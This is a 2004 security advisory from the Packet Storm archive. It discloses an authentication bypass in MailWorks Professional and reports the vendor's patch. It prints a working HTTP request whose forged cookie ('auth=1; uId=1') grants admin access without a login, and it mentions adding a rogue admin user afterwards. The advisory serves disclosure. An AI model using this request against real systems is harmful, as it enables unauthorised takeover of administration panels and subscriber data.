exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MailWorks.txt

MailWorks.txt
Posted Sep 9, 2004
Authored by Paul Craig

MailWorks Pro has a rather trivial session check that is easily bypassed within a cookie. The exploit allows an attacker to have full control over the administration section, without the need to authenticate and allowing the attacker to spoof the admin user functions.

tags | exploit, spoof
SHA-256 | 64f806d87188174506bf5d339c345a68c771bfbe066bd831ff2d52d093ddbc90

MailWorks.txt

Change Mirror Download
                Pimp industries.
"Its all about the Bling, B^!%@s and Fame!"

MailWorks Professional All versions
Authentication bypass via cookie control

(C) Paul Craig - Pimp Industries 2004


Background
-------------
MailWorks Professional is a mailing list management application, developed
by sitecubed. It provides an easy way for e-zines or newsletters to manage
large amounts of contacts and distribute newsletters among them. It’s
reasonably popular with many websites and has been around for a while.


Exploit:
-------------
C really is for cookie and in this case, MailWorks Pro has a rather
trivial session check that is easily bypassed within a cookie. The exploit
allows an attacker to have full control over the administration section,
without the need to authenticate and allowing the attacker to spoof the
admin user functions.
An example HTTP packet is below

GET /mwadmin/index.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/msword, application/x-shockw
ave-flash, */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR
1.1.4322)
Host: www.example.com
Content-Length: 570
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: auth=1; uId=1


The cookie contains the exploit, auth=1 (to signify that you have logged
in) and uId= the id of the user you want to be, by default uId=1 is user
"admin".
This request will show the index page for user “Admin”, instead of the
usual “Please Login” page.

This can be further exploited by sending a HTTP post to add a new user
with full admin rights, from there the attacker can login as a legitimate
admin user.


Suggestions/Work Around:
-------------
Sitecubed was contacted early this morning; they responded very quickly
and have released a patch for all customers that is available on their
website.
Well done Sitecubed for being prompt!


Company status
---------------
Pimp Industries is a privately owned security research company. If you
would like to contact Pimp Industries to discuss any nature of business,
please email us at headpimp@pimp-industries.com.



Paul Craig
Head Pimp, Security Researcher
Pimp Industries
"Move Fast, Think faster"

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close